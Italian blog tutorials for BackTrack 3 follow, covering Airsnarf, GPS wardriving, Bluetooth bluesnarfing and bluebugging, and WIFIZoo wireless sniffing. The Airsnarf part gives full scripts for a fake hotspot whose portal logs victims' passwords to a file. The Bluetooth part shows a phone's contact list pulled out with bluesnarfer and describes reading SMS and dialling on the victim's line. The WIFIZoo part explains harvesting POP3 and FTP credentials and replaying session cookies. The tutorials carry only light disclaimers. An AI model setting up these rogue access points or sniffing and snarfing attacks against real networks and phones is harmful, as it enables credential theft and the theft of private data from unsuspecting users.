***

Ecco a voi un altro gioiellino di Defcon-69 , si tratta di un tutorial che spiega come configurare AirSnarf per la nostra BackTrack-3beta.

ancora una volta , grazie Def.

In questo breve tutorial spiegherò come configurare Airsnarf

Cos’è Airsnarf ?

Airsnarf è stato sviluppato e rilasciato per dimostrare la vulnerabilità intrinseca degli hot-spot.
E’ quindi, una banale wireless utility  che permette all’Eavesdropper di carpire le credenziali di accesso (user e pwd) di utenti che fanno uso di hot-spot pubblici. (Naturalmente l’uso  che se ne può fare è ben più ampio se usiamo un po’ di immaginazione!  )

Let’s work…

1.Prima di tutto creiamo due cartelle, chiamate “html” e “dhcp”, nei rispettivi percorsi:

“html”  —->  /var/www/
“dhcp” —-> /var/state/

Successivamente creiamo con un editor di testo, il file “dhcpd.leases” e lo copiamo in /var/state/dhcp/

2.Ora apriamo un editor di testo (nano, vi, kate, kedit, ecc…) e creiamo il file “rc.httpd” e vi copiamo all’interno il seguente source code:

#!/bin/sh
# Start/stop/restart the Apache web server.

conffile=/etc/httpd/httpd.conf

function start() {
if grep -q “^Include /etc/apache/mod_ssl.conf” $conffile ; then
/usr/sbin/apachectl startssl
else
/usr/sbin/apachectl start
fi
}

function stop() {
/usr/sbin/apachectl stop
}

function restart() {
/usr/sbin/apachectl restart
}

# See how we were called.
case “$1″ in
start)
start
;;
stop)
stop
;;
restart)
restart
;;
*)
echo “usage $0 start|stop|restart” ;;
esac

Fatto questo, salvatelo e chiudete il file.

3.Ora riapriamo l’editor di testo (nano, vi, kate, kedit, ecc…) e creiamo il file “rc.dhcpd” e vi copiamo all’interno il seguente source code:

#!/bin/sh
# Start/stop/restart the Samba SMB file/print server.

dhcpd_start() {
if [ -x /usr/sbin/dhcpd -a -r /etc/dhcpd.conf ]; then
echo “Starting Dhcp…”
/usr/sbin/dhcpd -cf /etc/dhcpd.conf ath0
fi
}

dhcpd_stop() {
killall dhcpd
}

dhcpd_restart() {
dhcpd_stop
sleep 2
dhcpd_start
}

case “$1″ in
’start’)
dhcpd_start
;;
’stop’)
dhcpd_stop
;;
‘restart’)
dhcpd_restart
;;
*)
# Default is “start”, for backwards compatibility with previous
# Slackware versions. This may change to a ‘usage’ error someday.
dhcpd_start
esac
Fatto questo, salvatelo e chiudete il file.

4.Entrambi i file andranno copiati nella seguente directory: /etc/rc.d/

5.Ora che siamo nella directory /etc/rc.d/ ed abbiamo copiato i due file, dobbiamo dargli i permessi di eseguibilità. Apriamo una shell (ed abbiamo copiato i due file, dobbiamo dargli i permessi di eseguibilità. Apriamo una shell (F4) e digitiamo:

chmod 755 /etc/rc.d/rc.httpd e poi chmod 755 /etc/rc.d/rc.dhcpd

6.Adesso andiamo in /pentest/wireless/airsnarf-0.2  e apriamo Airsnarf con un editor di testo.
Sostituiamo il contenuto del file con il seguente source code:

#!/bin/bash
# airsnarf.sh
# A rogue AP setup utility.

echo “Airsnarf – A rogue AP setup utility.”
echo “0.2″
echo “The Shmoo Group”
# here are some variables you may want to edit
WWW_ROOT=”/var/www/html”
CGI_ROOT=”/var/www/cgi-bin”
LOCAL_CFG=”./cfg”

# specify another config dir with a command line arg if you want
if [ $1 ]
then
LOCAL_CFG=”$1″
fi

source $LOCAL_CFG/airsnarf.cfg

# create the dhcpd.conf
echo -n “Creating dhcpd.conf…”
sed s/AIRSNARF/$ROGUE_NET/g ./etc/dhcpd.src > /etc/dhcpd.conf
echo “Done.”

# copy over the www stuff
echo -n “Building the captive portal…”
cp $LOCAL_CFG/html/* $WWW_ROOT
cp $LOCAL_CFG/cgi-bin/* $CGI_ROOT
chmod +x $CGI_ROOT/*
echo “Done.”

# set our wireless parameters
echo -n “Setting the wireless parameters…”
ifconfig $ROGUE_INTERFACE down
wlanconfig $ROGUE_INTERFACE destroy
wlanconfig $ROGUE_INTERFACE create wlandev wifi0 wlanmode ap
ifconfig $ROGUE_INTERFACE up
iwconfig $ROGUE_INTERFACE essid $ROGUE_SSID mode master
echo “Done.”

# set our ip and default route
echo -n “Setting the ip address and default route…”
ifconfig $ROGUE_INTERFACE $ROGUE_GW
route add -net 0.0.0.0 gw $ROGUE_GW
echo “Done.”

# restart some services
/usr/sbin/dhcpd -cf /etc/dhcpd.conf
/usr/sbin/apachectl restart
#/etc/init.d/sendmail restart

# set up the firewall to redirect
echo -n “Setting up firewall to redirect DNS…”
echo 1 > /proc/sys/net/ipv4/ip_forward
modprobe iptable_nat
iptables -F -t nat
iptables -t nat -A PREROUTING -p udp –dport 53 -j DNAT \
–to $ROGUE_GW
# dammit, I swear this used to work with just an OUTPUT rule…
iptables -t nat -A OUTPUT -p udp –dport 53 -j DNAT \
–to $ROGUE_GW
echo “Done.”

# start the local dns resolver
echo “Starting local DNS resolver…”
chmod +x ./bin/airsnarf_dns.pl
./bin/airsnarf_dns.pl

Fatto questo, salvatelo e chiudete il file.

7.Adesso andiamo in /pentest/wireless/airsnarf-0.2/cfg  e apriamo Airsnarf.cfg con un editor di testo.
Sostituiamo il contenuto del file con il seguente source code:

ROGUE_SSID=”Fake Hot-Spot”
ROGUE_NET=”192.168.1.”
ROGUE_GW=”192.168.1.254″
ROGUE_INTERFACE=”ath0″
#export ROGUE_SSID ROGUE_NET ROGUE_GW ROGUE_INTERFACE

8.Adesso andiamo in /pentest/wireless/airsnarf-0.2/cfg/cgi-bin  e apriamo Airsnarf.cgi con un editor di testo.
Cerchiamo la serie di righe di codice che iniziano con “$mailprog = ‘/usr/sbin/sendmail’;” e finiscono con “close(MAIL);” e le commentiamo col carattere # oppure le cancelliamo.
E vi copiamo il seguente source code:

open (MYFILE, ‘>>/tmp/airsnarf_pwds.txt’);
foreach $key (keys(%FORM)) {
print MYFILE “$key = $FORM{$key}\n”;
print MYFILE “———————-\n”;
}
;

Fatto questo, salvatelo e chiudete il file.

9.Ora basterà che apriate una shell, andiate in /pentest/wireless/airsnarf-0.2/ e lanciate airsnarf.

N.B  Una volta avviato airsnarf, aspettate che compaia la scritta “Waitintg for connections…” e terminate airsnarf. Andate in /var/www/html, copiatevi tutti i file contenutivi e incollate tutti i file qui: /var/www/htdocs  .

/var/www/htdocs .

See  u Dudes!

Defcon-69

Defcon-69 -WiFi-ITA.com-

È con immenso piacere che mi accingo a scrivere la mia prima guida per il «back|track~blog , nella speranza di poter dare un contributo alla crescita di tutta la community italiana che , speriamo al più presto , possa farsi riconoscere anche a livelli maggiori. Perdonatemi se sarò impreciso, ma come già detto è la mia prima guida.

Molte volte si dà poco peso a ciò che una persona potrebbe fare , tanti , anche se fortunatamente sono sempre meno , usufruiscono ancora di chiavi wep per la cifratura della propria rete wireless.

Noi oggi dimostreremo come sia possibile utilizzando gli strumenti elencati di seguito , avere a disposizione una vera e propria mappa di Access Point di una determinata zona , in modo tale da poter indurre quante più persone possibile ad accingersi a cifrare la propria rete wireless con chiavi di tipo WPA.

L’obiettivo è quello di riuscire a mappare gli access point di un area tramite l’ausilio di un ricevitore GPS e alcuni tools che possiamo trovare già installati sulla nostra Backtrack oppure nei repository. Questa guida fa riferimento ad un dispositivo GPS interfacciato con il pc tramite Bluetooth.

[Requisiti]

-Ricevitore GPS

-Kismet

-Gpsmap

-Gpsd

-Gpsdrive

-Google Earth (opzionale)

[Processo]

Come prima cosa sinceriamoci del corretto funzionamento della nostra interfaccia Bluetooth installata sul pc (dongle usb o minipci integrata) eseguendo il seguente comando:

#hciconfig

Ci troveremo davanti ad un messaggio dove viene indicato il nome della nostra interfaccia (hci0 nella maggior parte dei casi), proseguiamo quindi con l’attivazione della stessa:

#hciconfig hci0 up

Bene adesso siamo pronti ad effettuare una scansione dei dispositivi, accendiamo il nostro dispositivo GPS ed eseguiamo il comando:

#hcitool scan

Dopo pochi secondi otterremo il mac (esempio: 00:33:54:40:53:2d) della nostra antenna GPS ed il suo nome. Adesso siamo pronti ad usare il demone RFCOMM per accoppiare il nostro mac:

#rfcomm bind /dev/rfcomm0 00:33:54:40:53:2d

Fatto questo avviamo il nostro ricevitore di segnali GPS con il seguente comando:

#gpsd -b /dev/rfcomm0

Bene!! Adesso siamo pronti ad usare Kismet con il nostro dispositivo GPS:

#kismet

Come potete notare in fondo alla pagina del kismet prima del log abbiamo le nostre coordinate GPS , fatto ciò il sistema scriverà un file .gps contenente tutti i dati relativi alla posizione in quel momento.

Bene, adesso siamo pronti per poter usare GPSDRIVE , questo è un software basato su mappe che ci permette di ottenere la nostra posizione su mappa tramite il segnale GPS. Per poterlo usare con Kismet dovremo avviare Mysql tramite il seguente comando:

#mysql_install_db

A questo punto possiamo avviare il demone:

#/bin/chmod +x /etc/rc.d/rc.mysqld

# /etc/rc.d/rc.mysqld start

E avviare il client mysql come root:

# mysql -u root -p

Ok… …adesso se tutto è andato a buon fine , possiamo avviare kismet e poi gpsdrive:

#kismet

#gpsdrive

Controlliamo il log di gpsdrive e sinceriamoci che il database mysql sia stato avviato correttamente. Gpsdrive si presenterà con un’interfaccia grafica molto intuitiva, controlliamo che il segnale gps sia stato ottenuto correttamente e procediamo con il download della mappa (almeno la prima volta avendo attiva una connessione ad internet). Ottenuta la mappa d’ora in poi potremo utilizzare gpsdrive anche offline, con il solo ausilio del segnale gps che segnerà la nostra posizione sulla mappa precedentemente scaricata.

Adesso arriva la vera e propria chicca!!!

Ovvero: il trasferimento delle nostre tracce gps relative agli ACCESS POINTS su Google Earth.

Procediamo come segue:

• Installiamo l’ultima versione di Google Earth.

Subito dopo aver scaricato ed installato Google Earth.

• Scarichiamo lo script che si chiama “GPStoGoogleEarth” , (concesso gentilmente da http://svn.pythonfr.org/) , da quest’ indirizzo. Questo script ci permetterà di “listare” in un file *.kml , compatibile con Google earth , le tracce gps ottenute con gpsdrive.
• Posizioniamolo all’interno della directory /usr/share/gpsdrive/
• Eseguiamo il precedente file da shell:

#cd /usr/share/gpsdrive

#python gpsdriveToGoogleEarth.py

• lanciamo Google Earth:

#googleearth

FILE>>OPEN>>>

spostiamoci nella directory:

/usr/share/gpsdrive/

e da quì apriamo il file ap.kml

In questo modo otterremo un immagine con mappati uno ad uno tutti gli Access Point della zona prima scansionata con il gps… …questa sotto è il risultato dela mia scansione.

Potete quindi capire se una persona si ostina ancora oggi a tenersi una rete poco protetta in quali rischi si possa cadere.

Questo è tutto, spero di essere stato più chiaro possibile. Per critiche , errori e dubbi mi trovate su:

Ciao a tutti,

eccoci arrivati a descrivere un nuovo campo di lavoro per noi del «back|track~blog , stò parlando come da titolo del Bluetooth sniffer.

I tool che useremo sono il Bluebugger ed il Bluesnarfer.

Il Bluebugger è un prodotto della Codito.de , ossia il sito di Martin J. Muench developper di BackTrack.

Prima di comunciare è doveroso dirvi che ovviamente per provare/testare questo tutorial avete bisogno di un Bluetooth device regolarmente riconosciuto da BackTrack , per essere sicuri potete vedere su Google cosa è riconosciuto o meno dai sistemi basati su GNU/Linux in generale , oppure lasciate qualche commento e vediamo cosa riusciamo a fare , oppure ancora entrate in canale e chiedete.

Ma iniziamo il nostro lavoro…..

Appena entriamo in BT , inseriamo la nostra chiavetta usb-bluetooth , e vediamo subito se il dispositivo è riconosciuto dal sistema dando da konsole il comando:

hciconfig

vedremo subito se il dispositio è riconosciuto , dopodiché per attivarlo basta dare il comando:

hciconfig hci0 up

Questo perché il mio dispositivo è visto da BT come hci0 , (hci-zero) , ma finora non ho sentito di dispositivi bluetooth indicati da BT con sigle diverse.

Per essere sicuri che il vostro dispositivo stia lavorando date da konsole il comando:

hciconfig -a

Dovrebbe restituirvi tutta la configurazione del dispositivo.

Ora , in BT ci sono una serie di strumenti per l’ utilizzo in vario modo di connessioni bluetooth chiamati Bluez , e noi iniziamo con il Hcitool , e lo facciamo tramite un piccolo scanning , dando da konsole il comando:

hcitool scan hci0

Questo il risultato che a me restituisce BT dopo aver messo in connettività bluetooth il mio telefono cellulare:

[root@bt ~]$ hcitool scan hci0
Scanning …
00:15:B9:57:80:C0 HaCkLaB-PH

Se non vi vedete arrivare nessun risultato provate a dare il comando BTscanner , oppure ancora a lanciare il BTscanner da backtrck->RadioNetworkAnalisys->Bluetooth->…

Oppure ancora , suate sicuri dell’ attività del cellulare.

Questo è il risultato dato dal mio cellulare , ma in caso di un attacco , o meglio di uno sniffing sarebbe stata la stessa cosa , il sistema mi avrebbe restituito tutti i MacAddress ,(BD) , che avevano il bluetooth attivato , e vi assicuro che provando in una casa isolata non c’é scampo , ma se vi mettete in un aeroporto in una stazione o in un luogo del genere potete immaginare voi lo sniffing che un “malintenzionato” potrebbe fare.

Ecco infatti appena utilizziamo un altro tool , l’ sdptool , cosa riusciamo a vedere nel dispositivo:

brigante ~HaCkLaB.WiFu # sdptool browse 00:15:B9:57:80:C0
Browsing 00:15:B9:57:80:C0 …
Service Name: QC Voice Gateway
Service RecHandle: 0×10000
Service Class ID List:
“Headset Audio Gateway” (0×1112)
“Generic Audio” (0×1203)
Protocol Descriptor List:
“L2CAP” (0×0100)
“RFCOMM” (0×0003)
Channel: 3
Language Base Attr List:
code_ISO639: 0×656e
encoding: 0×6a
base_offset: 0×100
Profile Descriptor List:
“Headset” (0×1108)
Version: 0×0100

Service Name: QC Voice Gateway
Service RecHandle: 0×10001
Service Class ID List:
“Handfree Audio Gateway” (0×111f)
“Generic Audio” (0×1203)
Protocol Descriptor List:
“L2CAP” (0×0100)
“RFCOMM” (0×0003)
Channel: 4
Language Base Attr List:
code_ISO639: 0×656e
encoding: 0×6a
base_offset: 0×100
Profile Descriptor List:
“Handsfree” (0×111e)
Version: 0×0101

Service Name: FTP
Service RecHandle: 0×10002
Service Class ID List:
“OBEX File Transfer” (0×1106)
Protocol Descriptor List:
“L2CAP” (0×0100)
“RFCOMM” (0×0003)
Channel: 16
“OBEX” (0×0008)
Language Base Attr List:
code_ISO639: 0×656e
encoding: 0×6a
base_offset: 0×100
Profile Descriptor List:
“OBEX File Transfer” (0×1106)
Version: 0×0100

Service Name: OPP
Service RecHandle: 0×10003
Service Class ID List:
“OBEX Object Push” (0×1105)
Protocol Descriptor List:
“L2CAP” (0×0100)
“RFCOMM” (0×0003)
Channel: 17
“OBEX” (0×0008)
Language Base Attr List:
code_ISO639: 0×656e
encoding: 0×6a
base_offset: 0×100
Profile Descriptor List:
“OBEX Object Push” (0×1105)
Version: 0×0100

Service Name: Serial Port
Service RecHandle: 0×10004
Service Class ID List:
“Serial Port” (0×1101)
Protocol Descriptor List:
“L2CAP” (0×0100)
“RFCOMM” (0×0003)
Channel: 18
Language Base Attr List:
code_ISO639: 0×656e
encoding: 0×6a
base_offset: 0×100
Profile Descriptor List:
“Serial Port” (0×1101)

Service Name: Dial-up Networking
Service RecHandle: 0×10005
Service Class ID List:
“Dialup Networking” (0×1103)
Protocol Descriptor List:
“L2CAP” (0×0100)
“RFCOMM” (0×0003)
Channel: 8
Language Base Attr List:
code_ISO639: 0×656e
encoding: 0×6a
base_offset: 0×100
Profile Descriptor List:
“Dialup Networking” (0×1103)
Version: 0×0100

Bene , arrivati a questo punto voi direte , ma alla fine non è che hai ricavato molto , sono solo notizie riguardanti le porta di comunicazione , ma abbiate solo un pò di pazienza….

Tramite la konsole ed un editor di testi , nel mio caso Kate , apritevi il file di configurazione di Hdci , diamo quindi da konsole il comando:

kate /etc/bluetooth/hcid.conf

Al suo interno , andate a sostituire il tutto con le stringhe seguenti:

Sia chiaro che consiglio caldamente a tutti di farsi i propri backup , non rovinatevi la vita se non siete sicuri di ciò che fate.

***

***</div>
<code>#
# HCI daemon configuration file.
#</code>

# HCId options
options {
# Automatically initialize new devices
autoinit yes;

# Security Manager mode
#   none - Security manager disabled
#   auto - Use local PIN for incoming connections
#   user - Always ask user for a PIN
#
security auto;

# Pairing mode
#   none  - Pairing disabled
#   multi - Allow pairing with already paired devices
#   once  - Pair once and deny successive attempts
pairing multi;

# Default PIN code for incoming connections
passkey "1234";
}

# Default settings for HCI devices
device {
# Local device name
#   %d - device id
#   %h - host name
name "device1";

# Local device class
class 0x000000;

# Default packet type
#pkt_type DH1,DM1,HV1;

# Inquiry and Page scan
iscan enable; pscan enable;

# Default link mode
#   none   - no specific policy
#   accept - always accept incoming connections
#   master - become master on incoming connections,
#            deny role switch on outgoing connections
lm accept,master;

# Default link policy
#   none    - no specific policy
#   rswitch - allow role switch
#   hold    - allow hold mode
#   sniff   - allow sniff mode
#   park    - allow park mode
lp rswitch,hold,sniff,park;
auth enable;
encrypt enable;
}
<p align="center">***

***

Ora è stato inserito come PIN , “1234” le 4 cifre internazionalmente di default sulla maggiorparte dei cellulari , ma tramite le opzioni a disposizione , e sempre in caso di un vero attacco , si sarebbe potuto pensare ad un attacco tramite brute-forcing. e comunque chi usa spesso il bluetooth non credo vogliastare sempre lì a digitare il PIN.

Fatto questo , salvate il tutto sovrascrivendo quindi totalmente il file di configurazione di Hdi , e date di nuovo da konsole per un nuovo UPil comando hciconfig -a

vi verrà restituito nuovamente il messaggio in stile con quello precedentemente ricavato tramite lo stesso comando , solo che noterete qualche piccolo cambiamento dato che , come potete vedere dalle righe stesse , abbiamo abilitato lo sniffing.

Ora facciamo il restart del dispositivo e ssociamovi i permessi ideali con i seguen ti comandi:

bash /etc/rc.d/rc.bluetooth restart

Dopodiché:

mknod -m 666 /dev/rfcomm0 c 216 3

mknod -m 666 /dev/rfcomm1 c 216 6

mknod -m 666 /dev/rfcomm2 c 216 7

Come potete benissimo notare non abbiamo fatto altro che creare prima ed associare poi tre connessioni che rispettivamente andranno ad occupare tre diversi canali , il primo RFCOMM0 nel canale 3 “DUN Dial UP” ; Il secondo RFCOMM1 attivo sulcanale 6 FTP , ed il terzo RFCOMM2 attivo nel canale 7 chiamato “OBEX push”.

Andiamo ora ad aggiungere i canali attivi al tool sdptool , da konsole quindi:

sdptool add –channel=3 DUN

sdptool add –channel=6 FTP

sdptool add –channel=7 OPUSH

Dopo aver configurato il tutto correttamente passiamo ora alla parte dello sniffing…

Per far lavorare i due programmi che ci servono per lo sniffing , non dobbiamo fare altro che lanciarli da Shell , oppure se si vuole ottenere direttamente la shell con il menù , vi basta lanciarli dal KdeMenuStart->BckTrack->Radio&NetworkAnalisys->Bluetooth->…..

brigante ~HaCkLaB.WiFu # bluebugger

bluebugger 0.1 ( MaJoMu | www.codito.de )
—————————————–

Usage: bluebugger [OPTIONS] -a <addr> [MODE]

-a <addr> = Bluetooth address of target

Options:
——–
-m <name> = Name to use when connecting (default: ”)
-d <device> = Device to use (default: ‘/dev/rfcomm’)
-c <channel> = Channelto use (default: 17)
-n = No device name lookup
-t <timeout> = Timeout in seconds for name lookup (default: 5)
-o <file> = Write output to <file>

Mode:
—–
info = Read Phone Info (default)
phonebook = Read Phonebook (default)
messages = Read SMS Messages (default)
dial <num> = Dial number
ATCMD = Custom Command (e.g. ‘+GMI’)

Note: Modes can be combined, e.g. ‘info phonebook +GMI’

* You have to set txxhe target address

Associamo al comando una nostra stringa , solo per fare una prova….

brigante ~HaCkLaB.WiFu # bluebugger -a 00:15:B9:57:80:C0 info

bluebugger 0.1 ( MaJoMu | www.codito.de )
—————————————–

Target Device: ‘00:15:B9:57:80:C0′
Target Name: ‘HaCkLaB-PH’

tcgetattr failed: Input/output error
bt_rfcomm_config() failed
…done

Quì il mio telefono si blocca e mi restituisce l’ autorizzazione allo scambio di dialogo : (

Proviamo invece a vedere con il bluesnarfer cosa succede con un cellulare diverso (un pò più vecchiotto a dire il vero….).

Queste le opzioni del Bluesnarfer:

brigante ~HaCkLaB.WiFu # bluesnarfer
bluesnarfer: you must set bd_addr
bluesnarfer, version 0.1 -
usage: bluesnarfer [options] [ATCMD] -b bt_addr

ATCMD : valid AT+CMD (GSM EXTENSION)

TYPE : valid phonebook type ..
example : “DC” (dialed call list)
“SM” (SIM phonebook)
“RC” (recevied call list)
“XX” much more

-b bdaddr : bluetooth device address
-C chan : bluetooth rfcomm channel

-c ATCMD : custom action
-r N-M : read phonebook entry N to M
-w N-M : delete phonebook entry N to M
-f name : search “name” in phonebook address
-s TYPE : select phonebook memory storage
-l : list aviable phonebook memory storage
-i : device info

[root@bt ~]$ bluesnarfer -r -1-100 -b 00:79:S9:77:99:R0

+1 Angelo 049936XXXX

+2 Anta 049936XXXX

+3 AntonellaP 049936XXXX

+4 Giuseppe 049936XXXX

+5 Zio AXXXX 0XXX5XXX56

E la lista potrebbe continuare fino a nostro piacimento

In questo caso il Bluesnarfing ha funzionato benissimo , se eravamo dei malintenzionati , e se solo avessimo voluto avremmo potuto ricevere e cancellare tutta la lista di numeri che erano in rubrica sul telefono.

Le opzioni poi potete vederle benissimo , c’é dallo sniffing dei messaggi , fino al Dial-UP , ossia la possibilità di chiamare in quiet un qualsiasi numero di telefono utilizzando la linea del cellulare attaccato.

Capirete quindi in condizioni ideali che strumento possiamo avere a disposizione.

Oggi gli strumenti mediatici che usano il bluetooth sono moltissimi , non solo cellulari , ma palmari , stampanti , tutti gli strumenti che posso essere collegati ad un pc , e stando ai test che ho fatto , si riesce a trovare compatibilità e riuscita , almeno una volta su cinque.

Lo sniffing con dispositivi bluetooth è una cosa attraente ma anche molto pericolosa , ricordate che le tracce del segnale del vostro telefono sono monitorate quindi spero che non pensiate minimamente di trarre da questo tutorial notizie che possano servirvi a scopi illegali… ….come sempre , nessuno si prenderà responsabilità a riguardo.

Detto questo , in campo di telefonia come del resto riguarda l’ hardware in genere se si ha il mezzo giusto , ed in questo caso il nostro telefono cellulare , si possono arrivare a fare delle belle prove , ma a volte com’è successo a me, per configurare il dispositivo possono passare delle giornate.

Sto cercando di fare l’ UPload di un vecchio video realizzato con Audithor , e creato sempre dal team di remote-exploit , appena posso lo linko nella pagina dei video , in modo tale da poter rendere bene l’ idea.

Ciao a tutti e alla prossima.

La parte di configurazione del tutorial è stata presa da un thrade di Dr_GreeN sul Forums.Remote-exploit , l’ esperimento è nostro.

Nonostante le più recenti misure di sicurezza adottate dal protocollo 802.11 si siano rilevate abbastanza solide, ancora oggi utenti sprovveduti lasciano aperta la propria rete, rendendola indifesa davanti al tentativo di accesso da parte di chiunque sia nel raggio dell’Access Point. Ma avere della banda occupata da qualcuno non autorizzato, per certi versi, non è il rischio più alto.

Se la rete WiFi che utilizziamo non adotta nessun tipo di crittografia dei dati significa che qualunque dato trasmesso è in chiaro; quindi, a meno che non stiamo utilizzando una protezione di livello più alto (es. SSH), ogni dato intercettato è leggibile da chiunque ne sia in possesso. L’attività di intercettazione passiva dei dati che transitano in una rete telematica (Wikipedia) è chiamata sniffing.

BackTrack 3 mette a disposizione vari tool che consentono di fare sniffing, uno di questi è WIFIZoo, sviluppato da Hernan Ochoa.

WIFIZoo permette di catturare passivamente informazioni passanti su una rete non protetta in maniera del tutto automatica, inoltre è dotato di un’interfaccia grafica molto intuitiva, anche di un sistema di logging del traffico e un proxy integrato. Lo sniffer legge tra i pacchetti catturati dalla scheda wireless per carpirne quanti più dati “sensibili” presenti al loro interno; permette di recuperare facilmente tutti quei dati che per loro natura passano in chiaro sulla rete. Oltre a sniffare i pacchetti in chiaro su connessioni WiFi non protette WIFIZoo crea anche dei piccolo grafici che mostrano BSSID e client ad essi associati.

Prima di poter procedere con un piccolo test sulla nostra rete dobbiamo configurare WIFIZoo in modo corretto, seguite questo piccolo tutorial per aggiornarlo e configurarlo correttamente.

Visto che proviamo il programma su una rete di nostra proprietà usiamo Airodump-ng per bloccare la nostra scheda di rete in ascolto su un canale specifico, quindi apriamo un terminale e digitiamo:

———–
airmon-ng start wifi0 11
airodump-ng –channel 11 ath0
———–

in questo modo la nostra scheda è in ascolto solo sul canale di trasmissione della nostra rete, questo eviterà di intercettare per sbaglio comunicazioni che arrivano da reti non in nostro possesso. Adesso avviamo WIFIZoo sempre da terminale:

———–
cd /pentest/wireless/wifizoo
python wifizoo.py -i ath0
———–

e creiamo del traffico con un client connesso alla nostra rete; quindi aprimo un browser qualunque e digitiamo nella barra degli indirizzi:

———–

http://127.0.0.1:8000

———–

Se WIFIZoo è configurato ed installato correttamente dovreste vedere l’interfaccia web di WIFIZoo che ha il compito di riassumere a grandi linee i dati catturati.
Analizziamo le voci presenti in questa interfaccia una ad una:

[General info]
SSIDS (AP) List
Mostra la lista degli AP rilevati comprensiva di MAC address, numero di client connessi e casa produttrice; la pagina è dotata di refresh automatico e se cliccate sul MAC di un AP apparirà la lista dei client ad esso connessi.

BSSID->Clients Graph
Questa finestra vi mostra un grafico che raffigura a quali AP sono collegati i client, se un client dovesse passare da un AP a un’altro lo dovreste vedere.

Probes Graph
Anche in questa finestra è mostrato un grafico, ma questa volta rappresenta le probes request di Ap verso i client.

SSIDS Obtained from ProbeRequests
Analoga alla finestra successiva ma mostra gli i nomi SSID ottenuti dalle richieste effettuate dai client verso gli AP

Stats
E’ un riassunto generale dei dati sniffati, comprende il numero dei pacchetti catturati divisi per porta e protocollo.

[Captured Data]
POP3 Credentials
Raccoglie le informazioni su credenziali raccolte sul protocollo POP (email)

Cookies
Questa è una delle finestre più interessanti, infatti presenta una dettagliata didascalia di tutti i cookies sniffati da sessioni HTTP. I cookies sono mostrati sotto forma di link, seguendo questi link si passa dal proxy di WIFIZoo che li setta in automatico e vi reindirizza alla pagina web a cui il cookie fa riferimento.

FTP Data e SMTP Data
Queste due finestre sono analoghe alla finestra “POP3 Credentials”, solo che mostrano informazioni in chiaro dei protocolli SMTP e FTP.

Oltre all’interfaccia di gestione via browser all’interno della cartella dove risiede wifizoo.py, c’è una directory chiamata “logs” dove vengono memorizzati tutti i log dello sniffing effettuato da WIFIZoo.

Concludo ricordandovi che se doveste usare questo programma su reti non di vostra proprietà commettereste un reato.

Ciao a tutti,

questo breve tutorial spiega come aggiornare alle versioni più recenti 2 tool in vostro possesso con l’utilizzo di BackTrack 3:

• la suite di tools Aircrack-NG
• lo sniffer WIFIZoo

[#][#]Aircrack-NG
L’attuale versione installata in BT3 di Aircrack-ng è la 1.0-beta1; noi in questo tutorial vedremo come passare dalla 1.0-beta1 alla 1.0-beta2 lasciando inalterato il supporto per SQLite, cosi da poter ancora utilizzare Airolib-ng per la creazione di database. Tra le varie novità proposte dalla versione 1.0-beta2 si può notare con piacere che gli sviluppatori di questo magnifico tool hanno ridotto a 2 i pacchetti necessari al cracking della chiave WPA (prima occorreva catturare tutti e 4 i passaggi dell’handshake); comunque vi rimando alla pagina contente il changelog della versione 1.0-beta2 per dettagli più accurati sul lavoro svolto dagli sviluppatori di Aircrack-ng.
Vi ricordo che le informazioni su come aggiornare Aircrack-ng sono presenti anche sul suo wiki.
Prima di iniziare creiamo una directory dalla quale lavoreremo:

———
cd /root
mkdir update
cd update
———

ora scarichiamo con wget l’archivio contenente il codice di Aircrack-ng e scompattiamolo:

———
wget http://download.aircrack-ng.org/aircrack-ng-1.0-beta2.tar.gz
tar -zxvf aircrack-ng-1.0-beta2.tar.gz
———

Non ci rimane che entrare nella directory creata scompattando Aircrack-ng per compilarlo ed installarlo con il supporto per Airolib-ng:

———
cd aircrack-ng-1.0-beta2
make sqlite=true
make sqlite=true install
———

A questo punto abbiamo la versione 1.0-beta2 di Aircrack-ng compilata ed installata correttamente e funzionante!

[#][#]WIFIZoo
WIFIZoo è uno sniffer che lavora sul protocollo 802.11; è in grado di catturare e mostrare in tempo reale le informazioni pasanti sulle reti non protette come password POP, cookies etc.
La versione presente in BT3 è la 1.2, ma noi la aggiorneremo alla versione 1.3 che, a differenza della versione precedente, ha in più il supporto per leggere da un file del traffico catturato in precedenza (es. con Kismet o Airodump-ng).

Prima di tutto entriamo nella nostra cartella “update” se non ci siamo già:

———
cd /root/update
———

quindi scarichiamo la versione 1.3 di WIFIZoo:

———
wget http://community.corest.com/~hochoa/wifizoo/wifizoo_v1.3.tgz
———

sccompattiamo WIFIZoo e entriamo nella directory creata:

———
tar zxvf wifizoo_v1.3.tgz
cd wifizoo_v1.3
———

ora dobbiamo scaricare “scapy.py“, necessario al funzionamento del programma:

———
wget http://hg.secdev.org/scapy/raw-file/tip/scapy.py
———

WIFIZoo è scritto in Python che è gia installato in BT3, dobbiamo solo configurarlo affinchè riconosca la nostra interfaccia di rete, lo stesso vale per “scapy.py“.
Apriamo con un editor di testo il file “wifizoo.py” e modifichiamo la voce “conf.iface = ‘rausb0′” (linea 50) in modo che rispecchi la nostra configurazione, esempio avendo una scheda con chipset Atheros la linea in va cambiata in “conf.iface = ‘ath0′“.
Adesso possiamo passare ad editare “scapy.py“, quindi apriamo il file con un editor testuale e modifichiamo la linea 13270 inserendo al posto di “betteriface” una riga simile a quella che inseriamo in Kismet nella voce source, usando un chipset Atheros io ho modificato la linea in modo che diventi “conf.iface = ‘madwifing_g,ath0,madwifi’“.

Adesso che WIFIZoo è configurato non ci resta che sostituirlo al precedente e creare al suo interno la directory dove verranno salvati i logs ad ogni suo utilizzo, quindi:

———
rm -r /pentest/wireless/wifizoo/*
cp -r * /pentest/wireless/wifizoo
mkdir /pentest/wireless/wifizoo/logs
———

Prima di testare WIFIZoo installeremo Graphviz, questo tool permetterà a WIFIZoo di creare dei grafici che mettano in relazione BSSID con i client ad essi associati:

———
wget http://www.graphviz.org/pub/graphviz/ARCHIVE/graphviz-working.tar.gz
tar zxvf graphviz-working.tar.gz
cd graphviz-2.16.1/
———

durante l’installazione ho avuto dei problemi con le librerie grafiche, cosi cercando sul forum di Remote-Exploit.org ho trovato la soluzione ai miei problemi seguendo il post di KMDave, in pratica dobbiamo creare un collegamente al file “gdkconfig.h” prima di procedere con la normale procedura di installazione da sorgenti, quindi:

———
ln -s /usr/lib/gtk-2.0/include/gdkconfig.h /usr/include
./configure
make
make install
———

A questo punto WIFIZoo è perfettamente funzionante, non dovete fare altro che recarvi dentro la directory di WIFIZoo e lanciarlo con:

———
python wifizoo.py -i atho
———

dove “ath0″ rappresenta la vostra interfaccia di rete settata in monitor mode.

